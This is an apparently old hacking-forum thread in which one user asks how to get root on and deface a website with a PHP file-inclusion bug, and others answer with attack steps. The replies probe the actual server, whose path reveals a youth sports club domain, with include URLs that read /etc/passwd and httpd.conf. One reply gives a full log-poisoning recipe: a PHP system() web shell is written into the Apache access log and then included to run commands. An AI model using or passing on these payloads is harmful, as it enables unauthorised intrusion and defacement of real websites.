I found a site, which contains a php injection bug. Safemode is off, but i cannot open the /var/tmp/ or /tmp/ directory :/

I cannot upload an local exploit or a connect back and therefore i cannot execute anything. Nothing works, how can i get root and deface that page?

Here is the vuln php injection page:

http://-------/index.php?go=<and here your shell>

Can anybody help me please!!!
Thx

well ......
u won't have great success to exploit that machine (as far as i see right now).
u have permission to read, but write to the current directory? u cant even open /etc/shadow or the parent directory (..).
u get something like this here:
Quote:
Warning: main(/tmp/): failed to open stream: Permission denied in /is/htdocs/57463/www.stuttgart-scorpions-jugend.de/index.php on line 95

Warning: main(/tmp/): failed to open stream: Permission denied in /is/htdocs/57463/www.stuttgart-scorpions-jugend.de/index.php on line 95

Warning: main(): Failed opening '/tmp/' for inclusion (include_path='./:/usr/share/pear/') in /is/htdocs/57463/www.stuttgart-scorpions-jugend.de/index.php on line 95

Also Finger weg Very Happy

well
i didnt find anything vulnerable to this server so far .....
it's programmed blowzy, but the rights are as for as i see pretty restricted. u cannot even read your own directory. the directories u have access to are /tmp/ /bin/ /usr/ and the current directory. but that does not mean u can list these directories. but u can check, wheter there are files on the server if u try to open them, e.g.
http://----------/index.php?go=/bin/sh
that means, a default shell is set Very Happy
but, as u are not able to run programs and only open files, u cant exploit this "service" to surf anonymously, e.g.
http://---------------/index.php?go=http://www.google.com
http://-----------/index.php?go=http://www.whatismyip.com
and so on

first u try to load file password
www.victim.com/index.php?go=etc/passwd

or u try to write backdoor
1) u must know all variables like path of file log , doucment root (www)
so try to include httpd.conf (to know informations about server vist this link http://searchdns.netcraft.com/?host=www.victime.com&position=limited)...after u know os and apache version u can imagine the paths ...
include the file
www.victim.com/index.php?go=../httpd/conf/httpd.conf
now u have all sttings about apache
DocumentRoot /home/www/victime_folder
CustomLog ../logs/access.log
...

2) www.victim.com/<?system($_GET['cmd']);?>
( short_open_tag = On )in php.ini
now the script php writed in apache log ok ?

after u try to include the file log exemple:

www.victim.com/index.php?go=../httpd/logs/access.log&cmd=ls -l
or
www.victim.com/index.php?go=..../logs/access.log&cmd=ls -l
